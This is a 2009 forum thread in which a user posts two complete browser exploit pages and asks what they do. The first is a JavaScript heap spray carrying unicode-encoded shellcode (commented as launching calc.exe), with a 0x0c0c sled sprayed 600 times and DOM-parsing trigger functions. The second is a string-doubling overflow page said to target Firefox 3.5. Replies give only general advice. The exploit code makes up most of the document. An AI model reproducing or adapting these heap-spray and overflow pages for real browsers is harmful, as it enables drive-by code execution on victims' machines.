JavaScript Algorithm

**Ales_S** · 07-23-2009, 03:55 AM

Hello!

I know that a lot of you here are very expirienced programers, thats why I started this topic here.

Based on my zero knowledge of JavaScript, I would like to know what is this algorithm exactly doing. It should be a heap buffer overflow, but I don't know what exactly is the algorithm doing in the code. A detailed pseudocode explenation per line would be the best! The shellcode in the code can be skipped.

You're the best!

Thank you very much!

Code:

<html>
<head>
</br>
<div id="content">
<p>
<FONT>                             
</FONT>
</p>
<p>
<FONT>Loremipsumdoloregkuw</FONT></p>
<p>
<FONT>Loremipsumdoloregkuwiert</FONT>
</p>
<p>
<FONT>Loremikdkw  </FONT>
</p>
</div>
<script language=JavaScript>
 
/* Calc.exe */
var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +   
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +   
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +   
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +   
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +   
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +   
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +   
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +   
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +   
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +   
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +   
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +   
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +   
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +   
                       "%u652E%u6578%u9000");
/* Heap Spray Code */            
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000)  
{
    fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i<600; i++)  
{
    sprayContainer[i] = fullblock + shellcode;
}
var searchArray = new Array()
 
function escapeData(data)
{
 var i;
 var c;
 var escData='';
 for(i=0;i<data.length;i++)
  {
   c=data.charAt(i);
   if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
   escData+=c;
  }
 return escData;
}
 
function DataTranslator(){
    searchArray = new Array();
    searchArray[0] = new Array();
    searchArray[0]["str"] = "blah";
    var newElement = document.getElementById("content")
    if (document.getElementsByTagName) {
        var i=0;
        pTags = newElement.getElementsByTagName("p")
        if (pTags.length > 0)  
        while (i<pTags.length)
        {
            oTags = pTags[i].getElementsByTagName("font")
            searchArray[i+1] = new Array()
            if (oTags[0])  
            {
                searchArray[i+1]["str"] = oTags[0].innerHTML;
            }
            i++
        }
    }
}
 
function GenerateHTML()
{
    var html = "";
    for (i=1;i<searchArray.length;i++)
    {
        html += escapeData(searchArray[i]["str"])
    }    
}
DataTranslator();
GenerateHTML()
</script>
</body>
</html>
<html><body></body></html>

Have a nice day!

**WingedPanther** · 07-23-2009, 06:30 AM

The first thing you would need to do is replace each unicode symbol with its value. Then you can read what the code actually does.

**Ales_S** · 07-23-2009, 06:57 AM

Thank you for your reply, WingedPanther.

Unfortunately, I don't understand this Javascript code that a programmer can understand. If we overlook the shellcode, my existing problem lies in the pseudocode explenation.

Thank you again!

**WingedPanther** · 07-23-2009, 07:06 AM

Those are likely to be critical to understanding everything else. They can define critical constants, additional functions, etc. If you don't have all the code, attempting to understand some of the code is probably going to be frustrating at best. It's kind of like trying to understand a phone conversation when you only hear half of it.

**Ales_S** · 07-23-2009, 08:10 AM

I see. My goal is to understand at least one of the JavaScripts fully. A explenation on code lines and meaning would be perfect. Is this example more nice? It sould be a "unicode remote stack buffer overflow" on Firefox 3.5.

Code:

<html>
<head>
<script language="JavaScript" type="Text/Javascript">
	var str = unescape("%u4141%u4141");
	var str2 = unescape("%u0000%u0000");
	var finalstr2 = mul8(str2, 49000000);
	var finalstr = mul8(str,   21000000);


document.write(finalstr2); 
document.write(finalstr); 

function mul8 (str, num) {
	var	i = Math.ceil(Math.log(num) / Math.LN2),
		res = str;
	do {
		res += res;
	} while (0 < --i);
	return res.slice(0, str.length * num);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>

Maybe you can help me on this one.

Thank you for your time folks!

**WingedPanther** · 07-23-2009, 09:55 AM

Why the fascination with JavaScript exploits? Usually the exploit has more to do with a flaw in the browser, or in the fact that some of the code is obfuscated. Are you familiar with JavaScript in general?

Thread: JavaScript Algorithm

LinkBack

Thread Tools

Search Thread

Display

JavaScript Algorithm

Re: JavaScript Algorithm

Re: JavaScript Algorithm

Re: JavaScript Algorithm

Re: JavaScript Algorithm

Re: JavaScript Algorithm

Thread Information

Users Browsing this Thread

Similar Threads

Algorithm

Algorithm help for c++

RNG algorithm?

Algorithm

AES algorithm

Tags for this Thread

Bookmarks

Bookmarks

Posting Permissions